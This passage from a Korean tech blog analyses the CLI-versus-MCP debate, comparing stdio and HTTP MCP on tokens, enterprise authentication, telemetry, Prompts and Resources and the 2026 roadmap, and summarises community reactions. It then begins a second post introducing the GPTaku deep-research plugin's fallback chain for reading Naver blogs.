GeekNews의 @sonnet도 비슷한 관찰을 했다. "MCP의 이점이 없는 용도에 무차별 사용하던 환상에서 깬 것"이라는 표현은 정확히 이 하이프 사이클의 "깨어남" 단계를 묘사한다. (출처: GeekNews)

Chen의 경고

문제는 "MCP가 죽었다"는 반동도 역시 맹목적이라는 것이다. 로컬 stdio MCP가 불필요한 상황과 원격 HTTP MCP가 필수인 상황을 구분하지 않고 "MCP 전체가 죽었다"고 선언하면, 정작 MCP가 진정한 가치를 발휘하는 영역까지 놓치게 된다.

3. 토큰 절약의 진실

Holmes의 근거 중 하나는 토큰 효율성이었다. "MCP는 스키마 정의, JSON-RPC 통신으로 토큰을 낭비한다. CLI는 이미 LLM이 알고 있으므로 추가 문서화가 불필요하다." Chen은 이 주장이 전제하는 것을 꼬집는다.

3-1. 잘 알려진 CLI만 토큰 절약 가능

gh, aws, kubectl, git — 이들은 LLM의 훈련 데이터에 풍부하게 포함되어 있다. StackOverflow에만 수만 건의 관련 질답이 있다. 이런 CLI는 확실히 MCP보다 토큰 효율적이다.

하지만 현실의 엔터프라이즈 환경에서는 어떨까?

커스텀 CLI의 현실

사내 배포 도구: deploy-service --env prod --version v2.3.1
내부 데이터 파이프라인: etl-runner --source warehouse --target analytics
커스텀 인프라 관리: infra-ctl scale --service api --replicas 5

이런 CLI는 LLM의 훈련 데이터에 전혀 없다. LLM이 이 도구를 사용하려면 결국 문서화가 필요하다 — AGENTS.md든, MCP 스키마든.

3-2. 커스텀 CLI의 함정 — AGENTS.md 문서화

Chen의 핵심 반박은 여기 있다. 커스텀 CLI를 AI 에이전트가 사용하게 하려면, 결국 AGENTS.md나 SKILL.md에 사용법을 문서화해야 한다. 이 문서화의 내용은 본질적으로 MCP 도구 스키마와 동일한 정보를 담는다.

// MCP 도구 스키마 예시 (출처: Chen 원문 의역)

{
  "name": "searchFlights",
  "description": "Search for available flights",
  "inputSchema": {
    "type": "object",
    "properties": {
      "origin":      { "type": "string", "description": "Departure airport code (IATA)" },
      "destination": { "type": "string", "description": "Arrival airport code (IATA)" },
      "departDate":  { "type": "string", "description": "Departure date (YYYY-MM-DD)" },
      "returnDate":  { "type": "string", "description": "Return date (YYYY-MM-DD)" },
      "passengers":  { "type": "integer", "description": "Number of passengers" },
      "cabinClass":  { "type": "string", "enum": ["economy","business","first"] }
    },
    "required": ["origin", "destination", "departDate"]
  }
}

// 동일한 기능의 CLI --help 출력 (출처: Chen 원문 참고)

$ flights search --help

Usage: flights search [OPTIONS]

Search for available flights

Options:
  --origin TEXT        Departure airport code (IATA)  [required]
  --destination TEXT   Arrival airport code (IATA)    [required]
  --depart-date TEXT   Departure date (YYYY-MM-DD)    [required]
  --return-date TEXT   Return date (YYYY-MM-DD)
  --passengers INT     Number of passengers           [default: 1]
  --cabin-class TEXT   Cabin class (economy|business|first)

위 두 가지는 형식만 다를 뿐 동일한 정보를 담고 있다. CLI의 --help 출력이 토큰을 아껴준다는 주장은, 그 CLI가 이미 LLM의 훈련 데이터에 있을 때만 성립한다.

3-3. 점진적 컨텍스트 소비 비교

Holmes의 또 다른 주장은 CLI의 점진적 컨텍스트 로딩이었다. 필요할 때만 --help를 호출하면 된다는 것이다. Chen은 이것도 MCP 스키마 선언과 본질적으로 같다고 지적한다.

단계	CLI 접근	MCP 접근
1. 도구 발견	AGENTS.md에서 CLI 이름 확인	tools/list로 도구 목록 조회
2. 스키마 확인	`command --help` 실행	도구 스키마(inputSchema) 참조
3. 실행	`command --arg value`	tools/call로 실행
토큰 소비	AGENTS.md + --help 출력	도구 목록 + inputSchema
차이	커스텀 도구에서는 본질적으로 동일한 양의 정보가 소비됨

핵심 통찰

"CLI가 토큰을 아낀다"는 주장은 gh, aws, kubectl처럼 LLM이 이미 알고 있는 CLI에만 해당한다. 커스텀 CLI에서는 CLI든 MCP든 동일한 양의 문서화(= 토큰 소비)가 필요하다. (출처: Chen 원문 분석)

4. MCP의 이중성 — stdio vs Streamable HTTP

여기가 Chen 반론의 핵심이다. "MCP"를 하나의 덩어리로 보지 말라는 것이다.

4-1. MCP over stdio (로컬)

stdio 전송 방식은 MCP 서버를 로컬에서 자식 프로세스로 실행하는 방식이다. Claude Desktop의 claude_desktop_config.json이나 Claude Code의 .mcp.json에서 "command": "npx"로 실행하는 것이 이 방식이다.

// stdio MCP: 로컬 프로세스로 실행

{
  "mcpServers": {
    "filesystem": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/dir"]
    }
  }
}

Chen은 이 방식에 대해서는 Holmes에 동의한다. 로컬에서 실행되는 stdio MCP는 대부분의 경우 CLI로 대체 가능하고, 프로세스 관리 오버헤드만 추가한다.

4-2. MCP over Streamable HTTP (원격)

Streamable HTTP 전송 방식은 MCP 서버를 원격 서비스로 운영하는 방식이다. 이것은 CLI와는 완전히 다른 차원의 이야기다.

// Streamable HTTP MCP: 원격 서비스에 연결

{
  "mcpServers": {
    "company-tools": {
      "url": "https://mcp.internal.company.com/mcp",
      "headers": {
        "Authorization": "Bearer ${COMPANY_TOKEN}"
      }
    }
  }
}

※ 위 형식은 Claude Code의 .mcp.json 클라이언트 설정 형식이다. url, headers 필드는 Claude Code가 MCP 서버에 연결할 때 사용하는 설정이며, MCP 프로토콜 스펙 자체의 필드가 아니다. (출처: Claude Code 공식 문서 - MCP)

원격 MCP가 CLI와 근본적으로 다른 이유

CLI 바이너리 배포 불필요: 클라이언트에 아무것도 설치할 필요 없음
서버 측 업데이트: 도구가 바뀌면 서버만 업데이트, 클라이언트는 자동 반영
백엔드 직접 접근: Postgres, Redis, Apache AGE 같은 서버 백엔드에 직접 연결 가능 — CLI로는 불가능하거나 매우 복잡
인증 중앙화: OAuth, API 키가 서버에서 관리됨 — 개발자 로컬에 키를 배포할 필요 없음
텔레메트리 일원화: 모든 에이전트 호출을 한 곳에서 모니터링

GeekNews의 @m00nlygreat의 표현이 이를 깔끔하게 정리한다: "원격 실행은 MCP, 로컬 실행은 Skills" (출처: GeekNews)

stdio vs HTTP — 같은 이름, 다른 세계

"MCP가 죽었다"는 논쟁의 혼란은 이 두 가지를 구분하지 않는 데서 온다. stdio MCP의 한계를 근거로 HTTP MCP까지 부정하는 것은 "로컬 SQLite가 느리니까 PostgreSQL도 쓸모없다"고 말하는 것과 같다.

5. 엔터프라이즈가 MCP를 선택하는 5가지 이유

개인 개발자의 로컬 작업에서는 CLI가 더 편할 수 있다. 하지만 조직 수준에서는 다른 계산이 필요하다.

5-1. 리치 백엔드 (Richer Underlying Capabilities)

원격 MCP 서버는 서버 측 리소스에 직접 연결할 수 있다. 예를 들어:

PostgreSQL: 복잡한 쿼리를 서버에서 실행하고 결과만 반환
Apache AGE (그래프 DB): 그래프 탐색 쿼리를 CLI로 노출하기는 매우 어려움
내부 마이크로서비스: gRPC 엔드포인트를 MCP 도구로 래핑

CLI는 기본적으로 로컬에서 실행되는 단일 바이너리다. 서버 측 데이터베이스에 직접 접근하려면 CLI에 커넥션 스트링, 인증 정보를 넘겨야 하고, 이는 보안 문제를 야기한다.

반론/한계

다만, SSH 터널 + Bastion Host 패턴은 이미 엔터프라이즈에서 오래 사용되어 왔다. CLI + SSH 터널 조합으로 서버 측 백엔드에 안전하게 접근하는 것은 검증된 방법이다. MCP가 이를 대체할 때의 실질적 이점이 "편의성 향상"인지, "보안 수준 향상"인지는 조직 상황에 따라 판단이 달라질 수 있다.

// CLI 방식: DB 접속 정보가 로컬에 노출됨

$ psql "postgresql://user:password@prod-db:5432/main" \
  -c "SELECT * FROM orders WHERE status = 'pending'"
# 개발자 로컬에 프로덕션 DB 비밀번호가 있어야 함

// MCP 방식: DB 접속은 서버 측에서만 관리

// MCP 클라이언트가 호출:
{ "method": "tools/call",
  "params": {
    "name": "query_orders",
    "arguments": { "status": "pending" }
  }
}
// DB 비밀번호는 MCP 서버에만 존재, 개발자 로컬에 노출 안 됨

5-2. 임시 에이전트 런타임 (Ephemeral Agent Runtimes)

GitHub Actions, CI/CD 파이프라인, 서버리스 함수 같은 임시 실행 환경에서는 CLI 설치가 번거롭다.

임시 런타임에서의 CLI vs MCP

CLI: 매번 바이너리 다운로드 → 설치 → 인증 → 실행. 런타임마다 반복
MCP (HTTP): URL에 연결하면 끝. 바이너리 설치 불필요, 인증은 토큰 하나로

Hacker News의 kasey_junk도 이 점을 지적한다: "CLI가 최선이라는 주장은 코딩 에이전트가 빙산의 일각이라는 걸 간과한다." 코딩 에이전트 외에도 분석 에이전트, 고객 지원 에이전트, 모니터링 에이전트 등이 다양한 환경에서 실행된다. (출처: Hacker News)

5-3. 인증과 보안 (Auth and Security)

Holmes는 "CLI의 기존 인증 체계 재활용"을 장점으로 꼽았다. Chen의 반론: "그건 개인 개발자 관점이다."

관점	CLI 인증	MCP (HTTP) 인증
키 위치	개발자 로컬 (`~/.aws/credentials`)	서버 측 (Vault, Secrets Manager)
키 노출 범위	개발자 수 x 서비스 수	MCP 서버 1곳
키 회전	모든 개발자에게 통보 필요	서버에서 자동 회전
감사 추적	개발자별 로컬 로그 (수집 어려움)	중앙 서버에서 전체 감사 로그
OAuth 통합	각 CLI별 개별 구현	MCP 표준 OAuth 플로우

100명의 개발자가 10개의 서비스를 사용하면, CLI 방식에서는 1,000개의 인증 정보가 각 로컬에 분산된다. MCP 방식에서는 10개의 인증 정보가 서버 1곳에 집중된다.

반론/한계

다만, MCP 게이트웨이가 새로운 단일 장애점(SPOF)이 될 수 있다. 모든 에이전트 인증이 MCP 서버 한 곳을 통과한다면, 해당 서버가 다운되거나 침해될 경우 전체 시스템이 영향을 받는다. 기존 CLI 분산 인증은 "하나가 뚫려도 전체가 뚫리지 않는다"는 장점이 있었다. MCP 중앙화의 이점을 취하려면, 게이트웨이의 가용성과 보안에 그만큼 투자해야 한다.

5-4. 텔레메트리와 관측 가능성 (Telemetry and Observability)

에이전트가 어떤 도구를 얼마나 자주 호출하는지, 어떤 요청이 실패하는지, 평균 응답 시간은 어떤지 — 이런 데이터는 조직 수준에서 매우 중요하다.

텔레메트리 수집 비교

CLI: 각 개발자의 로컬에서 실행됨. 호출 로그를 중앙 수집하려면 별도 래퍼(wrapper)나 에이전트 레벨 로깅 필요
MCP (HTTP): 서버 한 곳을 지나가므로 OpenTelemetry 등으로 자연스럽게 중앙 수집 가능

Hacker News의 CuriouslyC는 자신의 자율 에이전트 Smith에 서비스 메시 + MCP를 적용한 사례를 공유했다: "정책(OPA)과 모니터링을 한 곳에서" 관리한다고 한다. (출처: Hacker News)

반론/한계

다만, CLI에서도 래퍼 스크립트(wrapper script)나 에이전트 레벨 로깅으로 유사한 텔레메트리 효과를 낼 수 있다. 예를 들어, 모든 CLI 호출을 감싸는 셸 함수를 정의하고 OpenTelemetry로 전송하는 패턴은 이미 일부 조직에서 사용 중이다. MCP의 텔레메트리가 "자연스럽게 되는" 것은 사실이지만, CLI에서 "불가능한" 것은 아니다 — 다만 추가 구현이 필요하다.

5-5. 표준화된 콘텐츠 전달 (Standardized Delivery)

이 부분은 다음 섹션(MCP Prompts & Resources)에서 자세히 다루겠지만, 핵심만 요약하면 이렇다.

MCP의 콘텐츠 전달 프리미티브

MCP Prompts = 클라이언트가 요청하면 받는 SKILL.md (사용 방법 가이드)
MCP Resources = 클라이언트가 요청하면 받는 /docs (참고 문서)
CLI에는 이에 대응하는 표준화된 메커니즘이 없음

5가지 이유 요약 (출처: Chen 원문 분석 기반)

#	이유	CLI로 대체 가능?
1	서버 측 리치 백엔드 연결	어렵거나 보안 위험
2	임시 런타임 지원	매번 설치 필요
3	중앙화 인증/보안	키 분산 문제
4	중앙 텔레메트리	별도 래퍼 필요
5	표준화된 콘텐츠 전달	대응 메커니즘 없음

6. 간과된 무기 — MCP Prompts & Resources

Chen이 가장 아쉽다고 직접 밝힌 부분이다. MCP 프로토콜에는 Tools 외에도 Prompts와 Resources라는 두 가지 프리미티브가 있다. 하지만 대부분의 MCP 클라이언트(Claude Code, Cursor 등)가 이를 제대로 지원하지 않고 있다.

6-1. MCP Prompts = 클라이언트 요청 시 받는 SKILL.md

MCP Prompts는 클라이언트가 서버에 요청하면 "이 도구를 이렇게 사용하라"는 가이드를 받을 수 있는 메커니즘이다.

// MCP Prompts 예시: 클라이언트가 요청(prompts/list → prompts/get)하면 받는 사용 가이드

// prompts/list 응답
{
  "prompts": [
    {
      "name": "flight-booking-workflow",
      "description": "항공편 예약 워크플로우 가이드",
      "arguments": [
        { "name": "trip_type", "description": "편도/왕복", "required": true }
      ]
    }
  ]
}

// prompts/get 호출 시 반환되는 메시지
{
  "messages": [
    {
      "role": "user",
      "content": {
        "type": "text",
        "text": "항공편 예약 시 다음 순서를 따르세요:\n1. searchFlights로 검색\n2. 결과를 사용자에게 보여주기\n3. 사용자 선택 후 bookFlight 호출\n주의: 왕복의 경우 반드시 returnDate를 포함하세요."
      }
    }
  ]
}

현재 개발자가 하는 일을 생각해보자. Claude Code에서 사내 도구를 쓰려면 SKILL.md나 AGENTS.md를 수동으로 작성해야 한다. MCP Prompts가 제대로 지원되면, 클라이언트가 서버에 목록을 조회하고 선택해 요청하는 방식으로 이 가이드를 받아올 수 있다. (공식 문서: Prompts는 "user-controlled" 방식 — 즉, LLM이 자동으로 호출하는 것이 아니라 사용자가 명시적으로 선택해 사용하는 구조다. 출처: modelcontextprotocol.io/docs/concepts/prompts)

6-2. MCP Resources = 클라이언트 요청 시 받는 /docs

MCP Resources는 클라이언트가 서버에 요청하면 참고 문서를 받을 수 있는 메커니즘이다. API 문서, 데이터 스키마, 사용 예시 등을 클라이언트가 요청해서 가져올 수 있다.

// MCP Resources 예시: 클라이언트가 요청(resources/list → resources/read)하면 받는 참고 문서

// resources/list 응답
{
  "resources": [
    {
      "uri": "docs://api/flights",
      "name": "Flights API Documentation",
      "mimeType": "text/markdown"
    },
    {
      "uri": "schema://database/orders",
      "name": "Orders Table Schema",
      "mimeType": "application/json"
    }
  ]
}

Chen의 가장 큰 실망

Chen은 Hacker News 댓글에서 직접 이렇게 밝혔다: "MCP 클라이언트들이 Prompts와 Resources를 제대로 지원하지 않는 것이 가장 실망스럽다." 현재 대부분의 클라이언트는 Tools만 지원하며, Prompts와 Resources는 사실상 무시되고 있다. (출처: Hacker News 댓글)

6-3. 왜 이게 중요한가

Prompts와 Resources가 제대로 지원되면, MCP 서버는 단순한 "도구 제공자"를 넘어 "지식 + 기술 + 도구"를 한 번에 전달하는 패키지가 된다.

MCP 프리미티브	CLI/에이전트 세계의 대응	전달 방식
Tools	CLI 명령어, 함수 호출	수동 설치 또는 자동 제공
Prompts	SKILL.md, AGENTS.md (사용 가이드)	클라이언트 요청 시 서버 전달
Resources	/docs, API 문서, 스키마 파일	클라이언트 요청 시 서버 전달

CLI는 --help와 man page를 제공하지만, 이것은 "도구 사용법"에 국한된다. "이 도구들을 어떤 순서로 조합해야 하는가"(Prompts)와 "관련 배경 지식은 무엇인가"(Resources)는 CLI의 범위 밖이다.

7. MCP 2026 공식 로드맵 분석

Chen의 주장에 무게를 더하는 게 하나 있다. MCP가 현재 진행형이라는 점이다.

2026년 3월 9일, MCP Lead Maintainer David Soria Parra가 2026년 공식 로드맵을 발표했다. (출처: modelcontextprotocol.io, 2026.03.09)

7-1. 4대 우선순위

#	우선순위	핵심 내용
1	Transport Evolution & Scalability	수평 확장, 세션 관리, `.well-known` 메타데이터 검색
2	Agent Communication	Tasks primitive(SEP-1686) 안정화, 재시도/만료 정책
3	Governance Maturation	기여자 래더, Working Group 위임 모델
4	Enterprise Readiness	감사 추적, SSO 통합, 게이트웨이, 설정 이식성

7-2. Transport Evolution — 수평 확장과 검색

현재 MCP 서버는 단일 인스턴스로 운영되는 경우가 많다. 로드맵은 수평 확장(horizontal scaling)과 세션 관리를 핵심 과제로 삼는다. 또한 .well-known 메타데이터를 통해 MCP 서버를 자동 발견(auto-discovery)하는 메커니즘도 포함된다.

이는 마치 웹 서비스가 단일 서버에서 로드 밸런서 뒤의 클러스터로 진화한 과정과 유사하다.

7-3. Agent Communication — 에이전트 간 협업

Tasks primitive(SEP-1686)는 에이전트가 다른 에이전트에게 작업을 위임하고, 그 결과를 받아오는 메커니즘이다. 재시도 정책, 만료 시간 설정 등이 포함된다.

CLI에는 이에 대응하는 표준이 없다. 셸 스크립트로 비슷한 것을 만들 수는 있지만, 표준화된 에이전트 간 통신 프로토콜과는 차원이 다르다.

7-4. Enterprise Readiness — 확장으로 제공

엔터프라이즈 기능이 코어 스펙 변경이 아닌 확장(extension)으로 제공된다는 점도 눈에 띈다. MCP 코어 프로토콜은 가볍게 두고, 기업 요구사항은 선택적으로 얹는 방식이다.

로드맵이 말해주는 것

MCP는 로컬 stdio의 한계를 인식하고 있으며, 적극적으로 개선 중
수평 확장, 에이전트 간 통신, 엔터프라이즈 보안 — 이 세 가지는 CLI로는 표준화하기 어려운 영역
Working Group 기반 거버넌스로 오픈 표준의 투명성 확보

출처: MCP Vision 2026, modelcontextprotocol.io

7-5. On the Horizon — 미래 기능

로드맵에는 "지평선 위의" 미래 기능도 언급되어 있다.

트리거/이벤트: 서버가 클라이언트에게 이벤트를 보내는 푸시 메커니즘
스트리밍 결과: 대용량 결과를 실시간 스트리밍
DPoP (SEP-1932): Demonstration of Proof-of-Possession — 토큰 도난 방지
Workload Identity (SEP-1933): 에이전트 자체의 정체성 관리

8. 커뮤니티 반응 심층 분석

8-1. Hacker News — MCP 옹호 측

gbro3n "MCP over HTTP가 결정론적 게이트 역할. AI 에이전트에게 자유보다 제약이 더 중요" — 에이전트의 행동을 제어 가능한 범위 안에 두는 것이 핵심이라는 관점
nvardakas "가장 좋은 AI 도구는 에이전트를 제약하는 것. MCP가 깔끔한 경계 제공" — "자유로운 CLI 접근"보다 "제한된 MCP 도구 세트"가 안전하다는 주장
0xbadcafebee "MCP는 HTTP나 SMTP처럼 표준 통신 프로토콜. 만개의 앱과 호환성" — MCP를 특정 기술이 아닌 표준 프로토콜로 보는 관점
jabber86 "MCP는 CLI도 셸도 없는 iPad/Android 태블릿 사용자에게 필수" — 터미널 환경이 없는 디바이스에서의 MCP 가치

8-2. Hacker News — CLI 옹호 및 MCP 비판 측

tptacek "왜 CLI로 안 되나? 초기 에이전트가 임의 CLI를 실행 못 했기 때문. 이제는 가능" — MCP의 존재 이유가 "초기 에이전트의 한계" 때문이었다면, 그 한계가 사라진 지금 MCP도 사라져야 한다는 논리
tptacek (보안 비판 강화) "MCP를 쓰는 가장 큰 이유가 보안이라면, 난 확신한다: 이건 이미 끝난 기술이다(it's a dead letter). MCP 서버가 새로운 공격 표면을 만든다" — 보안 전문가 관점에서 MCP 서버 자체가 공격 벡터가 된다는 지적
arnitdo "LLM은 순수하게 텍스트 기반이지만, 네트워크 프로토콜은 본질적으로 더 복잡하다. 텍스트 기반 엔지니어링은 결국 핵심 위에 추상화를 쌓게 되고, LLM 모델이 인코딩을 바꾸는 순간 피라미드가 무너진다" — MCP가 LLM의 텍스트 본질과 맞지 않는 복잡성을 도입한다는 근본적 회의론
troupo "MCP는 바이브 코딩된 프로토콜이다. AI 하이프 웨이브를 타고 나왔고, 처음에 보안이 전혀 없었으며 나중에야 OAuth를 급히 볼트온했다" — MCP의 출발점 자체가 급조되었다는 비판 (※ 한국어 의역. 원문: "vibe-coded protocol that rode one of the many AI hype waves")

Chen/MCP 측 응답

보안 비판(tptacek)에 대해: MCP 2026 로드맵에 DPoP(SEP-1932, Demonstration of Proof-of-Possession)과 Workload Identity(SEP-1933)가 포함되어 있다. 토큰 도난 방지와 에이전트 정체성 관리가 스펙 수준에서 해결될 예정이다. (출처: MCP 2026 로드맵)
OAuth 급조 비판(troupo)에 대해: HN의 brabel이 반론 — "이것이 올바른 순서였다. 패턴이 나타날 때까지 보안을 열어두고, 이후 스펙에 정리한 것. 처음부터 과도한 보안 설계를 하면 아무도 쓰지 않는 프로토콜이 된다." (출처: Hacker News)
추상화 피라미드 비판(arnitdo)에 대해: MCP의 JSON-RPC 계층이 추가 복잡성을 도입하는 것은 사실이나, HTTP/REST도 같은 비판을 받았다. 표준화의 이점이 추상화 비용을 넘어서는지는 생태계 규모에 달려 있다. 이 부분은 아직 결론이 나지 않은 진행 중인 논쟁이다.

8-3. Hacker News — 절충 의견

kasey_junk "CLI가 최선이라는 주장은 코딩 에이전트가 빙산의 일각이라는 걸 간과" — 코딩 외의 에이전트 유즈케이스에서는 CLI가 답이 아닐 수 있음
CuriouslyC "내 자율 에이전트 Smith에 서비스 메시 + MCP. 정책(OPA)과 모니터링을 한 곳에서" — 실제 프로덕션에서 MCP를 사용하는 구체적 사례

출처: Hacker News, 263 points, 190 comments (작성 시점 기준)

8-4. GeekNews 한국 커뮤니티

한국 GeekNews에서도 이 논쟁은 활발히 다뤄지고 있다. 이전 글에서 정리한 의견에 더해, 새로운 관점들이 추가되었다.

@sonnet "MCP의 이점이 없는 용도에 무차별 사용하던 환상에서 깬 것" — 하이프 사이클의 "깨어남" 단계를 정확히 묘사
@brainer "MCP를 쓴 이유가 long context 한계 때문. 이제 극복됨" — LLM 성능 향상이 MCP 의존도를 낮추는 방향으로 작용
@jamsya "aws mcp 안 깔아도 claude code가 aws cli로 알아서 가져다 씀" — 훈련 데이터에 있는 CLI는 MCP 없이도 자연스럽게 활용됨
@develosopher "SaaS 개발자는 CLI vs MCP 중 MCP를 먼저 선택. CLI 지원은 관리 포인트 증가" — 서비스 제공자 관점에서는 MCP가 더 효율적
@hanje3765 "LLM 지능이 높아지면서 MCP 필요성이 모호해짐" — 모델 발전이 도구 추상화의 필요성 자체를 줄이고 있음
@hulryung "MCP보다 CLI로 툴을 직접 만들어쓰기 시작" — 개인 개발자 수준에서는 CLI 전환이 이미 시작됨

출처: GeekNews

커뮤니티 반응에서 읽히는 패턴

개인 개발자는 CLI로 전환하는 추세, SaaS 제공자와 엔터프라이즈는 MCP(특히 HTTP)를 유지하는 추세. 이는 정확히 Chen의 주장과 일치한다 — "CLI vs MCP"는 이분법이 아니라 유즈케이스에 따른 선택이다.

9. 의사결정 가이드

Holmes의 글과 Chen의 반론, 커뮤니티 논의를 종합하면 하나의 의사결정 프레임워크가 그려진다.

9-1. 개인 개발자

권장: CLI 우선

gh, aws, kubectl, gcloud 같은 공식 CLI가 있으면 CLI를 사용
Claude Code, Cursor 같은 에이전트는 이미 이들을 자연스럽게 활용
Notion, Linear 같은 CLI 없는 서비스에만 MCP 서버 사용
로컬 MCP(stdio) 대신 Skills 파일로 에이전트를 안내하는 것도 좋은 대안

9-2. 팀 (5~50명)

권장: 하이브리드 — CLI + HTTP MCP

외부 서비스 연동: 공식 CLI 우선
내부 도구 공유: HTTP MCP 서버 구축 고려
- DB 접근 권한을 서버에서 관리
- 팀 전체의 에이전트 사용 패턴을 모니터링
CI/CD 파이프라인의 에이전트: HTTP MCP가 CLI보다 편리

9-3. 엔터프라이즈 (50명 이상)

권장: HTTP MCP 중심 아키텍처

MCP 게이트웨이: 모든 에이전트 트래픽이 통과하는 중앙 지점
- 인증: OAuth/SSO 통합
- 권한: 역할 기반 도구 접근 제어
- 감사: 전체 호출 로그
- 관측: OpenTelemetry 메트릭
CLI도 병행: 개별 개발자의 로컬 작업에서는 CLI가 여전히 효율적
MCP Prompts/Resources 활용 준비: 클라이언트 지원이 확대되면 즉시 적용

9-4. SaaS 서비스 제공자

권장: API → MCP → CLI 순서

좋은 REST API를 먼저 — 모든 것의 기반
MCP 서버를 제공 — 에이전트 생태계에 자연스럽게 편입 (GeekNews @develosopher 의견과 일치)
CLI는 파워 유저를 위한 보너스로 — 관리 포인트가 증가하므로 우선순위 판단 필요

9-5. 의사결정 플로우차트

해당 서비스에 공식 CLI가 있는가?
  |
  +-- Yes --> LLM 훈련 데이터에 있는가? (gh, aws, kubectl 등)
  |             |
  |             +-- Yes --> CLI 사용 (토큰 효율 우수)
  |             +-- No  --> CLI + AGENTS.md 문서화
  |
  +-- No  --> 로컬에서만 쓰는가?
                |
                +-- Yes --> MCP (stdio) 또는 API 래퍼
                +-- No  --> 팀/조직 공유인가?
                              |
                              +-- Yes --> MCP (HTTP) 권장
                              |           - 중앙 인증
                              |           - 텔레메트리
                              |           - 자동 배포
                              +-- No  --> MCP (stdio) 가능

9-6. 당장 해볼 수 있는 3가지

Quick Start — 오늘 퇴근 전에 할 수 있는 것

현재 사용 중인 MCP 서버 목록을 뽑고, CLI로 대체 가능한 것을 식별하라 — claude mcp list로 설치된 MCP 서버를 확인하고, 그 중 gh, aws, kubectl 등 공식 CLI가 있는 서비스는 MCP를 제거해도 되는지 검토
팀 내부 도구 하나를 HTTP MCP로 래핑하는 PoC를 해보라 — FastMCP 등을 사용하면 Python 함수 몇 개로 MCP 서버를 띄울 수 있다. 내부 API 하나를 래핑해서 실제 에이전트가 호출하는 것까지 테스트
claude mcp list 또는 MCP Inspector로 현재 서버의 도구 수/토큰 소비를 측정하라 — 도구가 50개 이상 등록되어 있다면, 초기 컨텍스트에 스키마만으로 수천 토큰이 소비되고 있을 수 있다. 실제 사용 빈도가 낮은 도구는 정리 대상

10. 결론 — 바이브 코딩을 넘어 에이전틱 엔지니어링으로

두 주장을 나란히 놓고 보면 이런 그림이 나온다.

Holmes가 맞는 부분

LLM은 이미 유명 CLI를 잘 사용한다 — 이 CLI들에 MCP를 추가하는 것은 비효율적
로컬 stdio MCP는 프로세스 관리 오버헤드를 추가한다
디버깅 투명성과 파이프라인 조합성에서 CLI가 우위
"좋은 API를 만들고, 좋은 CLI를 만들어라" — 이 원칙은 여전히 유효

Chen이 맞는 부분

커스텀 CLI도 결국 문서화가 필요하다 — 토큰 절약은 유명 CLI에만 해당
stdio와 HTTP를 구분하지 않고 "MCP가 죽었다"고 하는 것은 오류
엔터프라이즈 인증, 텔레메트리, 감사 추적에서 HTTP MCP는 대안이 없다
MCP Prompts/Resources는 클라이언트 지원만 따라오면 쓸 수 있는 기능인데, 아직 대기 중

최종 정리

"MCP는 죽었다"도, "MCP 만세"도 전체 그림이 아니다.

더 정확한 표현은 이렇다:

개인 바이브 코딩에서는 CLI가 더 효율적인 경우가 많다
조직 수준의 에이전틱 엔지니어링에서는 HTTP MCP가 현재이자 미래

Chen의 마지막 문장을 그대로 옮긴다.

"조직은 카우보이 바이브 코딩을 넘어, 조직적으로 정렬된 에이전틱 엔지니어링으로 이동해야 한다."

원문: "Organizations need architectures and processes that start to move beyond cowboy, vibe-coding culture to organizationally aligned agentic engineering practices." (출처: chrlschn.dev)

저자 관점 — 한국 엔터프라이즈에 시사하는 바

이 논쟁이 한국 독자에게 특히 중요한 이유가 있다. 한국 엔터프라이즈는 이제 막 AI 에이전트 도입을 본격화하고 있고, "MCP를 도입할 것인가, CLI로 갈 것인가"는 지금 당장의 아키텍처 결정이다. CLI가 개인 개발자의 생산성 도구라면, MCP(HTTP)는 조직의 거버넌스 인프라다. 둘 다 필요하고, 순서와 비중이 중요하다.

6개월 후 이 글을 다시 읽었을 때, MCP의 DPoP/Workload Identity가 실제 스펙에 반영되었는지, Prompts/Resources를 지원하는 클라이언트가 늘었는지, 그리고 CLI 생태계가 에이전트 네이티브로 얼마나 변했는지를 확인해보자. 이 세 가지가 이 논쟁의 실질적인 답이 될 것이다.

이 글을 읽은 후, 당신의 환경에 맞는 질문을 던져보자.

지금 사용 중인 MCP 서버 중, CLI로 대체 가능한 것은 무엇인가?
팀의 에이전트 사용 패턴을 중앙에서 모니터링하고 있는가?
내부 도구의 인증 정보가 몇 곳에 분산되어 있는가?
CI/CD 파이프라인에서 에이전트가 매번 CLI를 설치하고 있지는 않은가?

이 질문들에 대한 답이 "CLI vs MCP" 논쟁에서 당신의 조직에 맞는 답을 알려줄 것이다.

11. 참고 자료

자료	링크	비고
Charles Chen 반론 원문	chrlschn.dev	Charles Chen (@chrlschn), 2026.03.14
Charles Chen 반론 (ITNEXT 교차 게시)	itnext.io	ITNEXT 교차 게시, 동일 내용
Eric Holmes 원문	ejholmes.github.io	Eric Holmes, 2026.02.28
이전 글 (CLI vs MCP 분석)	mcp_vs_cli.html	이 블로그 전편
Hacker News 토론	news.ycombinator.com	263 points, 190 comments (작성 시점 기준)
GeekNews 한국 토론	news.hada.io	한국 커뮤니티 반응
MCP 2026 공식 로드맵	modelcontextprotocol.io	David Soria Parra, 2026.03.09
MCP 공식 문서	modelcontextprotocol.io	Anthropic 공식
MCP Prompts 공식 문서	modelcontextprotocol.io/docs/concepts/prompts	MCP Prompts 프리미티브
MCP Resources 공식 문서	modelcontextprotocol.io/docs/concepts/resources	MCP Resources 프리미티브

AI가 못 읽던 네이버 블로그, 6단계 폴백 체인으로 뚫는다 — GPTaku 딥리서치 가이드

갓대희 — Thu, 19 Mar 2026 23:45:36 +0900

안녕하세요! 갓대희 입니다.

GPTaku deep-research 플러그인 v2.2.0이 3월 16일에 나왔다. 변경사항이 여럿이지만 한 가지가 눈에 들어온다: AI가 제대로 못 읽던 네이버 블로그를 6단계 폴백 체인으로 처리하기 시작했다. 설치 방법부터 각 폴백 단계가 실제로 어떻게 동작하는지 정리했다.

아직 어떻게 활용하면 좋을지 고민중이기 때문에 완전히 검증하진 못했다. 잘못된 내용이 있다면 말씀 부탁 드립니다.

GPTaku Plugin 소개
- GPTaku란?
- 플러그인 마켓플레이스 구조
- 전체 플러그인 목록
설치 방법
- 마켓플레이스 등록
- 플러그인 설치 및 업데이트
- 사용 방법 (트리거 명령어)
Deep Research 7단계 파이프라인
- 각 단계별 설명
- 출력 파일 구조
v2.2.0 핵심 업데이트: 네이버 블로그 접근
- 왜 AI는 네이버 블로그를 못 읽나?
- Tier 구조 전체 소개
- Tier 2.5 폴백 6단계 체인 상세
- 도메인별 라우팅 테이블
버전 히스토리
실제 활용 시나리오
한계점과 주의사항
커뮤니티 반응 (2026.3.12~19)
결론

